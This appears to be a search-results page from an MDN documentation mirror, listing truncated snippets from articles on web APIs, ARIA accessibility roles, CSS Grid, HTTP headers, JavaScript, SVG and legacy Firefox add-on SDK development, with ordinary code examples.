... drawing a triangle for example, the code for drawing a triangle would look something like this: <html> <body onload="draw();"> <canvas id="canvas" width="100" height="100"></canvas> </body> </html> function draw() { var canvas = document.getelementbyid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(75, 50); ctx.lineto(100, 75); ctx.lineto(100, 25); ctx.fill(); } } the result looks like this: screenshotlive sample moving...
... <html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> function draw() { var canvas = document.getelementbyid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.arc(75, 75, 50, 0, math.pi * 2, true); // outer circle ctx.moveto(110, 75); ctx.arc(75, 75, 35, 0, math.pi, false); // mouth (clockwise) ...
...And 6 more matches
Using the Frame Timing API - Web APIs
an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of each frame event.
... creating an observer to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer callback.
... in the following example, two observers for the "frame" performance entry type are created and the first observer constructor uses inline function syntax.
...And 6 more matches
Checking when a deadline is due - Web APIs
on browsers that support type="number", you get a nice little up and down arrow number picker.
... is mainly for browsers that don't support html form validation (i have used the required attribute in my html to force validation, in those that do.) else { var newitem = [ { tasktitle: title.value, hours : hours.value, minutes : minutes.value, day : day.value, month : month.value, year : year.value, notified : "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction opened for task addition.</li>'; }; transaction.onerror = function(event) { note.innerht...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var request = objectstore.add(newitem[0]); in this section we create an object called newitem that stores the data in the format required to insert it into the database.
...And 6 more matches
LockManager.request() - Web APIs
the mode property of the options parameter may be either "exclusive" or "shared".
... request an "exclusive" lock when it should only be held by one code instance at a time.
...when an "exclusive" lock for a given name is held, no other lock with the same name can be held.
...And 6 more matches
OffscreenCanvas.getContext() - Web APIs
possible values are: "2d" creates a canvasrenderingcontext2d object representing a two-dimensional rendering context.
... "webgl" creates a webglrenderingcontext object representing a three-dimensional rendering context.
... "webgl2" creates a webgl2renderingcontext object representing a three-dimensional rendering context.
...And 6 more matches
PaymentRequest.show() - Web APIs
the promise is resolved when the user accepts the payment request (such as by clicking a "pay" button in the browser's payment sheet).
... the validateresponse() method, below, is called once show() returns, in order to look at the returned response and either submit the payment or reject the payment as failed: async function validateresponse(response) { try { if (await checkallvalues(response)) { await response.complete("success"); } else { await response.complete("fail"); } } catch(err) { await response.complete("fail"); } } here, a custom function called checkallvalues() looks at each value in the response and ensures that they're valid, returning true if every field is valid or false if any are not.
... if and only if every field is valid, the complete() method is called on the response with the string "success", which indicates that everything is valid and that the payment can complete accordingly.
...And 6 more matches
PerformanceEntry.duration - Web APIs
the value returned by this property depends on the performance entry's type: "frame" - returns a timestamp indicating the difference between the starttimes of two successive frames.
... "mark" - returns "0" (a mark has no duration).
... "measure" - returns the timestamp that is the duration of the measure.
...And 6 more matches
PerformanceEntry.startTime - Web APIs
the value returned by this property depends on the performance entry's type: "frame" - returns the timestamp when the frame was started.
... "mark" - returns the timestamp when the mark was created by a call to performance.mark().
... "measure" - returns the timestamp when the measure was created by a call to performance.measure().
...And 6 more matches
Pinch zoom gestures - Web APIs
function init() { // install event handlers for the pointer target var el=document.getelementbyid("target"); el.onpointerdown = pointerdown_handler; el.onpointermove = pointermove_handler; // use same handler for pointer{up,cancel,out,leave} events since // the semantics for these events - in this app - are the same.
... // this event is cached to support 2-finger gestures evcache.push(ev); log("pointerdown", ev); } pointer move the pointermove event handler detects if a user is invoking a two-pointer pinch/zoom gesture.
... // // if the distance between the two pointers has increased (zoom in), // the target element's background is changed to "pink" and if the // distance is decreasing (zoom out), the color is changed to "lightblue".
...And 6 more matches
RTCPeerConnection.iceConnectionState - Web APIs
constant description "new" the ice agent is gathering addresses or is waiting to be given remote candidates through calls to rtcpeerconnection.addicecandidate() (or both).
... "checking" the ice agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made.
... "connected" a usable pairing of local and remote candidates has been found for all components of the connection, and the connection has been established.
...And 6 more matches
Request.cache - Web APIs
WebAPIRequestcache
the "only-if-cached" mode can only be used if the request's mode is "same-origin".
... cached redirects will be followed if the request's redirect property is "follow" and the redirects do not violate the "same-origin" mode.
...fetch("some.json", {cache: "no-store"}) .then(function(response) { /* consume the response */ }); // download a resource with cache busting, but update the http // cache with the downloaded resource.
...And 6 more matches
SubtleCrypto.deriveKey() - Web APIs
"derivebits": the key may be used in deriving bits.
... "wrapkey": the key may be used to wrap a key.
... "unwrapkey": the key may be used to unwrap a key.
...And 6 more matches
SubtleCrypto.encrypt() - Web APIs
it takes as its arguments a key to encrypt with, some algorithm-specific parameters, and the data to encrypt (also known as "plaintext").
... it returns a promise which will be fulfilled with the encrypted data (also known as "ciphertext").
... return value result is a promise that fulfills with an arraybuffer containing the "ciphertext".
...And 6 more matches
SubtleCrypto.importKey() - Web APIs
for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass the string identifying the algorithm or an object of the form { "name": algorithm }, where algorithm is the name of the algorithm.
... a json web key looks something like this (this is an ec private key): { "crv": "p-384", "d": "wouctu7nw4e8_7n5c1-xbjb4xqsb_lizhymsy8mggxuny6q8ncoh9xsiviwlffk_", "ext": true, "key_ops": ["sign"], "kty": "ec", "x": "szrrxmyi8vwfjg1dpunbfcc9jzvjzefh7ulki1ukxaltd7rgwrcffxqygpcwu6aq", "y": "hhuag3ovdzer0uuqnd4pxhqtxp5idgdyhjhl-wlkjngjqaw0rngy5v29-av-ysew" }; examples note: you can try the working examples on github.
...*/ function importsecretkey(rawkey) { return window.crypto.subtle.importkey( "raw", rawkey, "aes-gcm", true, ["encrypt", "decrypt"] ); } pkcs #8 import this example imports an rsa private signing key from a pem-encoded pkcs #8 object.
...And 6 more matches
Writing WebSocket client applications - Web APIs
a custom protocol of "protocolone" is named in the request for the socket in this example, though this can be omitted.
... var examplesocket = new websocket("wss://www.example.com/socketserver", "protocolone"); on return, examplesocket.readystate is connecting.
... if you want to open a connection and are flexible about the protocols you support, you can specify an array of protocols: var examplesocket = new websocket("wss://www.example.com/socketserver", ["protocolone", "protocoltwo"]); once the connection is established (that is, readystate is open), examplesocket.protocol will tell you which protocol the server selected.
...And 6 more matches
Writing WebSocket servers - Web APIs
the handshake is the "web" in websockets.
... if any header is not understood or has an incorrect value, the server should send a 400 ("bad request")} response and immediately close the socket.
...to get it, concatenate the client's sec-websocket-key and the string "258eafa5-e914-47da-95ca-c5ab0dc85b11" together (it's a "magic string"), take the sha-1 hash of the result, and return the base64 encoding of that hash.
...And 6 more matches
Window.window - Web APIs
WebAPIWindowwindow
this means: global variables of your script are in fact properties of window: var global = {data: 0}; alert(global === window.global); // displays "true" you can access built-in properties of the window object without having to type window.
... prefix: settimeout("alert('hi!')", 50); // equivalent to using window.settimeout.
... alert(window === window.window); // displays "true" the point of having the window property refer to the object itself, was likely to make it easy to refer to the global object.
...And 6 more matches
Using the alert role - Accessibility
dynamic changes that are less urgent should use a less aggressive method, such as aria-live="polite" or other live region roles.
... <h2 role="alert">your form could not be submitted because of 3 validation errors.</h2> example 2: dynamically adding an element with the alert role this snippet dynamically creates an element with an alert role and adds it to the document structure.
... let myalert = document.createelement("p"); myalert.setattribute("role", "alert"); let myalerttext = document.createtextnode("you must agree with our terms of service to create an account."); myalert.appendchild(myalerttext); document.body.appendchild(myalert); note: the same result can be achieved with less code when using a script library like jquery: $("<p role='alert'>you must agree with our terms of service to create an account.</p>").appendto(document.body); example 3: adding alert role to an existing element sometimes it's useful to add an alert role to an element that is already visible on the page rather than creating a new element.
...And 6 more matches
ARIA: figure role - Accessibility
<div role="figure" aria-labelledby="caption"> <img src="image.png" alt="full alternative image description"> <p id="caption">figure 1: the caption</p> </div> in the above example, we have a figure that consists of two separate content items — an image and a caption.
... this is wrapped by a <div> element that identifies the content as a figure using role="figure".
... description any content that should be grouped together and consumed as a figure (which could include images, video, audio, code snippets, or other content) can be identified as a figure using role="figure".
...And 6 more matches
ARIA: gridcell role - Accessibility
<div role="gridcell">potato</div> <div role="gridcell">cabbage</div> <div role="gridcell">onion</div> elements that have role="gridcell" applied to them must be the child of an element with a role of row.
... <div role="row"> <div role="gridcell">jane</div> <div role="gridcell">smith</div> <div role="gridcell">496-619-5098</div> … </div> the first rule of aria is if a native html element or attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding aria.
... instead use the native html td element in conjunction with the and contenteditable attribute: <td>potato</td> <td>cabbage</td> <td>onion</td> description gridcells with dynamically added, hidden, or removed rows and columns any element with a role="gridcell" applied to it should use aria to describe its order in the table-style grouping, provided the table, grid, or treegrid has the ability to have rows and/or columns dynamically added, hidden, or removed.
...And 6 more matches
ARIA: search role - Accessibility
<form role="search"> <!-- search input --> </form> description the search role is a landmark.
... examples <form id="search" role="search"> <label for="search-input">search this site</label> <input type="search" id="search-input" name="search" spellcheck="false"> <input value="submit" type="submit"> </form> accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
... using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
...And 6 more matches
Accessibility and Spacial Patterns - Accessibility
the two images below are from nasa research, specifically, from the article, "designing with blue" "spatial localization.
...they tend to "float" visually or be "captured" by adjacent symbols with high luminance-contrast.
... the phenomenon seems to be especially problematic for symbol/background combinations that differ only in the blue channel." distance between stripes photosensitive seizures may be caused by static images as well as animation.
...And 6 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
no longer applies, and i can use the css box alignment property align-self to align my content to the end of the container: * {box-sizing: border-box;} img { max-width: 100%; display: block; } .media { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 400px; display: grid; grid-template-columns: 1fr 2fr; grid-template-areas: "img content"; margin-bottom: 1em; } .media::after { content: ""; display: block; clear: both; } .media .image { float: left; width: 150px; margin-right: 20px; } .media .text { padding: 10px; align-self: end; } <div class="media"> <div class="image"><img src="https://udn.realityripple.com/samples/89/f993f273dd.png" alt="placeholder"></div> <div class="t...
...ext">this is a media object example.
...e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { overflow: hidden; margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { float: left; width: calc(33.333333% - 20px); margin: 0 10px 20px 10px; } <div class="wrapper"> <ul> <li class="card"><h2>one</h2> <p>we can use css grid to overwrite older methods.</p> </li> <li class="card"><h2>two</h2> <p>we can use css grid to overwrite older methods.</p> </li> <li class="card"><h2>three</h2> <p>we can use css grid to overwrite older methods.</p> </li> <li class="car...
...And 6 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
{box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> positioning items by line number we can use line-based placement to control where these items sit on the grid.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> .box1 { grid-column-start: 1; grid-column-end: 2; grid-row-start: 1; grid-row-end: 4; } .box2 { grid-column-start: 3; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box3 { grid-column-start: 2; grid-column-end: 3...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> .box1 { grid-column: 1 / 2; grid-row: 1 / 4; } .box2 { grid-column: 3 / 4; grid-row: 1 / 3; } .box3 { grid-column: 2 / 3; grid-row: 1 / 2; } .box4 { grid-column: 2 / 4; grid-row: 3 / 4; } default spans in the above examples...
...And 6 more matches
Event reference
loadend progress has stopped (after "error", "abort", or "load" have been dispatched).
... loadend progressevent progress and xmlhttprequest progress has stopped (after "error", "abort", or "load" have been dispatched).
... mark speechsynthesisevent web speech api the spoken utterance reaches a named ssml "mark" tag.
...And 6 more matches
Setting up adaptive streaming media sources - Developer guides
<?xml version="1.0" encoding="utf-8"?> <mpd xmlns:xsi="http://www.w3.org/2001/xmlschema-instance" xmlns="urn:mpeg:dash:schema:mpd:2011" xsi:schemalocation="urn:mpeg:dash:schema:mpd:2011 dash-mpd.xsd" type="static" mediapresentationduration="pt654s" minbuffertime="pt2s" profiles="urn:mpeg:dash:profile:isoff-on-demand:2011"> <baseurl>http://example.com/ondemand/</baseurl> <period> <!-- english...
... audio --> <adaptationset mimetype="audio/mp4" codecs="mp4a.40.5" lang="en" subsegmentalignment="true" subsegmentstartswithsap="1"> <representation id="1" bandwidth="64000"> <baseurl>elephantsdream_aac48k_064.mp4.dash</baseurl> </representation> </adaptationset> <!-- video --> <adaptationset mimetype="video/mp4" codecs="avc1.42401e" subsegmentalignment="true" subsegmentstartswithsap="1"> <representation id="2" bandwidth="100000" width="480" height="360"> <baseurl>elephantsdream_h264bpl30_0100.264.dash</baseurl> </representation> <representation id="3" bandwidth="175000" width="480" height="360"> <baseurl>elephantsdream_h264bpl30_0175.264.dash</baseurl> </representation> <representation id="4" bandwidth="250000...
..." width="480" height="360"> <baseurl>elephantsdream_h264bpl30_0250.264.dash</baseurl> </representation> <representation id="5" bandwidth="500000" width="480" height="360"> <baseurl>elephantsdream_h264bpl30_0500.264.dash</baseurl> </representation> </adaptationset> </period> </mpd> once you have generated your mpd file you can reference it from within the video tag.
...And 6 more matches
Video player styling basics - Developer guides
the markup for the custom controls now looks as follows: <div id="video-controls" class="controls" data-state="hidden"> <button id="playpause" type="button" data-state="play">play/pause</button> <button id="stop" type="button" data-state="stop">stop</button> <div class="progress"> <progress id="progress" value="0" min="0"> <span id="progress-bar"></span> </progress> </div> <button id="mute" type="button" data-state="mute">mute...
.../unmute</button> <button id="volinc" type="button" data-state="volup">vol+</button> <button id="voldec" type="button" data-state="voldown">vol-</button> <button id="fs" type="button" data-state="go-fullscreen">fullscreen</button> </div> related css alteration the previous article simply set the display property of the video controls to block in order to display them.
... this "data-state" idea is also used for setting the current state of buttons within the video control set, which allows specific state styling.
...And 6 more matches
Using HTML sections and outlines - Developer guides
for example, <div class="navigation"> does not suggest any meaning about its content to a browser; only a human reading the html source can divine the meaning of a class like navigation.
... <body> <header> <nav> <ul> <li><a href="#">link</a></li> <li><a href="#">link</a></li> <li><a href="#">link</a></li> </ul> </nav> <h1> page title </h1> </header> <section> <h2> my blog posts </h2> <article> <header> <p> article title </p> </header> <p> content </p> </art...
... <nav> <ul> <li><a href="#">link</a></li> <li><a href="#">link</a></li> </ul> </nav> nesting menus you do not nest <nav> elements.
...And 6 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
in safari, you can use x-webkit-airplay="deny" as a fallback.
... waiting playback has stopped because of a temporary lack of data usage notes browsers don't all support the same file types and audio codecs; you can provide multiple sources inside nested <source> elements, and the browser will then use the first one it understands: <audio controls> <source src="myaudio.mp3" type="audio/mpeg"> <source src="myaudio.ogg" type="audio/ogg"> <p>your browser doesn't support html5 audio.
... here is a <a href="myaudio.mp4">link to the audio</a> instead.</p> </audio> we offer a substantive and thorough guide to media file types and the audio codecs that can be used within them.
...And 6 more matches
Clear-Site-Data - HTTP
if all types of data should be cleared, the wildcard directive ("*") can be used.
... // single directive clear-site-data: "cache" // multiple directives (comma separated) clear-site-data: "cache", "cookies" // wild card clear-site-data: "*" directives all directives must comply with the quoted-string grammar.
... "cache" indicates that the server wishes to remove locally cached data (i.e.
...And 6 more matches
HTTP Public Key Pinning (HPKP) - HTTP
enabling hpkp to enable this feature for your site, you need to return the public-key-pins http header when your site is accessed over https: public-key-pins: pin-sha256="base64=="; max-age=expiretime [; includesubdomains][; report-uri="reporturi"] pin-sha256 the quoted string is the base64 encoded subject public key information (spki) fingerprint.
... openssl s_client -servername www.example.com -connect www.example.com:443 | openssl x509 -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 example hpkp header public-key-pins: pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws="; pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe="; max-age=5184000; includesubdomains; report-uri="https://www.example.org/hpkp-report" in this example, pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws=" pins the server's public key used in production.
... the second pin declaration pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe=" also pins the backup key.
...And 6 more matches
Control flow and error handling - JavaScript
"standalone" blocks in javascript can produce completely different results from what they would produce in c or java.
... for example, do not write code like this: // prone to being misread as "x == y" if (x = y) { /* statements here */ } if you need to use an assignment in a conditional expression, a common practice is to put additional parentheses around the assignment, like this: if ((x = y)) { /* statements here */ } falsy values the following values evaluate to false (also known as falsy values): false undefined null 0 nan the empty string ("") all other values�...
...k; case 'bananas': console.log('bananas are $0.48 a pound.'); break; case 'cherries': console.log('cherries are $3.00 a pound.'); break; case 'mangoes': console.log('mangoes are $0.56 a pound.'); break; case 'papayas': console.log('mangoes and papayas are $2.79 a pound.'); break; default: console.log(`sorry, we are out of ${fruittype}.`); } console.log("is there anything else you'd like?"); exception handling statements you can throw exceptions using the throw statement and handle them using the try...catch statements.
...And 6 more matches
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
the javascript warning "date.prototype.tolocaleformat is deprecated; consider using intl.datetimeformat instead" occurs when the non-standard date.prototype.tolocaleformat method is used.
...%b %y'); console.log(date); // in german locale // "freitag, 10.
... märz 2017" alternative standard syntax using the ecmascript intl api the ecma-402 (ecmascript intl api) standard specifies standard objects and methods that enable language sensitive date and time formatting (available in chrome 24+, firefox 29+, ie11+, safari10+).
...And 6 more matches
String.prototype.match() - JavaScript
if you don't give any parameter and use the match() method directly, you will get an array with an empty string: [""].
... using named capturing groups in browsers which support named capturing groups, the following code captures "fox" or "cat" into a group named "animal": const paragraph = 'the quick brown fox jumps over the lazy dog.
... it barked.'; const capturingregex = /(?<animal>fox|cat) jumps over/; const found = paragraph.match(capturingregex); console.log(found.groups); // {animal: "fox"} using match() with no parameter const str = "nothing will come of nothing."; str.match(); // returns [""] a non-regexp object as the parameter when the regexp parameter is a string or a number, it is implicitly converted to a regexp by using new regexp(regexp).
...And 6 more matches
String - JavaScript
creating strings strings can be created as primitives, from string literals, or as objects, using the string() constructor: const string1 = "a string primitive"; const string2 = 'also a string primitive'; const string3 = `yet another string primitive`; const string4 = new string("a string object"); string primitives and string objects can be used interchangeably in most situations.
... see "string primitives and string objects" below.
...the first is the charat() method: return 'cat'.charat(1) // returns "a" the other way (introduced in ecmascript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index: return 'cat'[1] // returns "a" when using bracket notation for character access, attempting to delete or assign a value to these properties will not succeed.
...And 6 more matches
Destructuring assignment - JavaScript
examples array destructuring basic variable assignment const foo = ['one', 'two', 'three']; const [red, yellow, green] = foo; console.log(red); // "one" console.log(yellow); // "two" console.log(green); // "three" assignment separate from declaration a variable can be assigned its value via destructuring separate from the variable's declaration.
... function parseprotocol(url) { const parsedurl = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url); if (!parsedurl) { return false; } console.log(parsedurl); // ["https://developer.mozilla.org/web/javascript", "https", "developer.mozilla.org", "en-us/web/javascript"] const [, protocol, fullhost, fullpath] = parsedurl; return protocol; } console.log(parseprotocol('https://developer.mozilla.org/web/javascript')); // "https" object destructuring basic assignment const user = { id: 42, is_verified: true }; const {id, is_verified} = user...
...nsole.log(bb); // 5 unpacking fields from objects passed as function parameter const user = { id: 42, displayname: 'jdoe', fullname: { firstname: 'john', lastname: 'doe' } }; function userid({id}) { return id; } function whois({displayname, fullname: {firstname: name}}) { return `${displayname} is ${name}`; } console.log(userid(user)); // 42 console.log(whois(user)); // "jdoe is john" this unpacks the id, displayname and firstname from the user object and prints them.
...And 6 more matches
Object initializer - JavaScript
although they look similar, there are differences between them: json permits only property definition using "property": value syntax.
... a function value (see "methods" above) can not be assigned to a value in json.
... the following code creates an object with three properties and the keys are "foo", "age" and "baz".
...And 6 more matches
Mobile first - Progressive web apps (PWAs)
a phrase you'll read in a few places is "one eyeball, one thumb", referring to how much of the user's attention you are likely to have.
...our html looks like this: <article> <nav> <ul> <li><a href="#">home</a></li> <li><a href="#">articles</a></li> <li><a href="#">videos</a></li> <li><a href="#">work</a></li> <li><a href="#">about</a></li> <li><a href="#">contact</a></li> </ul> </nav> <header> <a id="top" href="#bottom">jump to menu</a> <h1>my article</h1> </header> <div class="main"> <p>lorem ipsum … </p> <a id="bottom" href="#to...
...p">back to top</a> </div> </article> <button id="install-btn">install</button> default mobile css for the css, i first added some styles into our app.css stylesheet to provide a reasonable narrow-screen layout.
...And 6 more matches
textLength - SVG: Scalable Vector Graphics
four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 60" xmlns="http://www.w3.org/2000/svg"> <text y="20" textlength="6em">small text length</text> <text y="40" textlength="120%">big text length</text> </svg> usage notes value <length-percentage> | <number> default value none animatable yes <length-percentage> this value specifies the width of the space the text will be adjusted to occup...
... example let's create a simple example that presents text you can resize using an <input> element of type "range".
... css .controls { font: 16px "open sans", "arial", sans-serif; } svg let's start with the svg.
...And 6 more matches
Scripting - SVG: Scalable Vector Graphics
WebSVGScripting
one can override default browser behaviors with the evt.preventdefault( ) method, add eventlisteners to objects with the syntax element.addeventlistener(event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", "").
... function myrect(x,y,w,h,message){ this.message=message this.rect=document.createelementns("http://www.w3.org/2000/svg","rect") this.rect.setattributens(null,"x",x) this.rect.setattributens(null,"y",y) this.rect.setattributens(null,"width",w) this.rect.setattributens(null,"height",h) document.documentelement.appendchild(this.rect) this.rect.addeventlistener("click",this,false) this.handleevent= function(evt){ switch (evt.type){ case "click": alert(this.message) ...
...instead, you can use var svgdoc=document.embeds["name_of_svg"].getsvgdocument(); to get a reference to an embedded svg document instead.
...And 6 more matches
Basic shapes - SVG: Scalable Vector Graphics
the code to generate that looks something like: <?xml version="1.0" standalone="no"?> <svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/> <rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/> <circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-width="5"/>...
... <ellipse cx="75" cy="75" rx="20" ry="5" stroke="red" fill="transparent" stroke-width="5"/> <line x1="10" x2="50" y1="110" y2="150" stroke="orange" stroke-width="5"/> <polyline points="60 110 65 120 70 115 75 130 80 125 85 140 90 135 95 150 100 145" stroke="orange" fill="transparent" stroke-width="5"/> <polygon points="50 160 55 180 70 180 60 190 65 205 50 195 35 205 40 190 30 180 45 180" stroke="green" fill="transparent" stroke-width="5"/> <path d="m20,230 q40,205 50,230 t90,230" fill="none" stroke="blue" stroke-width="5"/> </svg> note: the stroke, stroke-width, and fill attributes are explained later in the tutorial.
... <rect x="10" y="10" width="30" height="30"/> <rect x="60" y="10" rx="10" ry="10" width="30" height="30"/> x the x position of the top left corner of the rectangle.
...And 6 more matches
Cross-domain Content Scripts - Archive of obsolete content
in particular, they can't: access content hosted in an iframe, if that content is served from a different domain make cross-domain xmlhttprequests however, you can enable these features for specific domains by adding them to your add-on's package.json under the "cross-domain-content" key, which itself lives under the "permissions" key: "permissions": { "cross-domain-content": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains serving the content - so in the example above, the content script will not be allowed to access content served from https://example.com/.
... cross-domain iframes the following "main.js" creates a page-worker which loads a local html file called "page.html", attaches a content script called "page.js" to the page, waits for messages from the script, and logs the payload.
... //main.js var data = require("sdk/self").data; var pageworker = require("sdk/page-worker").page({ contenturl: data.url("page.html"), contentscriptfile: data.url("page-script.js") }); pageworker.on("message", function(message) { console.log(message); }); the "page.html" file embeds an iframe whose content is served from "http://en.m.wikipedia.org/": <!doctype html> <!-- page.html --> <html> <head></head> <body> <iframe id="wikipedia" src="http://en.m.wikipedia.org/"></iframe> </body> </html> the "page-script.js" file locates "today's featured article" and sends its content to "main.js": // page-script.js var iframe = window.document.getelementbyid("wikipedia"); var todaysfeaturedarticle = iframe.contentwindow.document.getelementbyid("...
...And 5 more matches
port - Archive of obsolete content
from the content script to the main add-on code: // content-script.js var mymessagepayload = "some data"; self.port.emit("mymessage", mymessagepayload); from the main add-on code to the content script: // main.js var mymessagepayload = "some data"; worker.port.emit("mymessage", mymessagepayload); on() the port.on() function registers a function as a listener for a particular message sent from the other side using port.emit().
... in a content script, to listen for "mymessage" sent from the main add-on code: // content-script.js self.port.on("mymessage", function handlemymessage(mymessagepayload) { // handle the message }); in the main add-on code, to listen for "mymessage" sent from a a content script: // main.js worker.port.on("mymessage", function handlemymessage(mymessagepayload) { // handle the message }); once() often you'll want to receive a message just once, then stop listening.
... this example rewrites the content script in the port.removelistener() example so that it uses once(): // content-script.js function getfirstparagraph() { var paras = document.getelementsbytagname('p'); console.log(paras[0].textcontent); } self.port.once("get-first-para", getfirstparagraph); removelistener() you can use port.on() to listen for messages.
...And 5 more matches
Chrome Authority - Archive of obsolete content
using chrome authority the most powerful low-level modules are run with "chrome privileges", which gives them access to the infamous components object, which grants unfettered access to the host system.
...to obtain these privileges, the module must declare its intent with a statement like the following: var {cc, ci} = require("chrome"); the "chrome" built-in pseudo module is provided by the "toolkit/loader" module.
... the object returned by require("chrome"), when unpacked with the destructuring assignment feature available in the mozilla js environment, will provide the usual components.* aliases: cc an alias for components.classes.
...And 5 more matches
Getting Started (jpm) - Archive of obsolete content
once you've supplied a value or accepted the default for these properties, you'll be shown the complete contents of "package.json" and asked to accept it.
...unless you've changed the value of "entry point" ("main" in package.json), this goes in "index.js" file in the root of your add-on.
...open it and add the following code: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("http://www.mozilla.org/"); } note that "entry point" defaults to "index.js" in jpm, meaning that your main file is "index.js", and it is found directly in your add-on's root.
...And 5 more matches
Getting started (cfx) - Archive of obsolete content
navigate to it, type cfx init, and hit enter: mkdir my-addon cd my-addon cfx init you'll see some output like this: * lib directory created * data directory created * test directory created * doc directory created * readme.md written * package.json written * test/test-main.js written * lib/main.js written * doc/main.md written your sample add-on is now ready for testing: try "cfx test" and then "cfx run".
... have fun!" implementing the add-on now you can write the add-on's code, which goes in the "main.js" file in your "lib" directory.
...open it and add the following code: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.org/"); } save the file.
...And 5 more matches
Using third-party modules (jpm) - Archive of obsolete content
summary first, while in the root of your add-on, install the package that contains the modules you want to use: npm install menuitem --save now you'll see a new directory in your add-on root called "node_modules" that contains a directory "menuitem".
... in your add-on code, you can require() modules by passing a path to the module starting from, but not including "node_modules": var menuitems = require("menuitem"); details create a new directory called, for example, "my-menuitem", navigate to it, type "jpm init" and accept all the defaults: mkdir my-menuitem cd my-menuitem jpm init install the menuitem package from npm: npm install menuitem --save this will install the package in the current directory, under a directory called "node_modules".
... you'll now see a new directory in "my-menuitem" called "node_modules".
...And 5 more matches
Rosetta - Archive of obsolete content
rosetta.js: library "use strict"; /*\ |*| |*| :: rosetta.js :: |*| |*| a possible, extensible collection of compilers to native ecmascript.
...|*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the previous code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\".
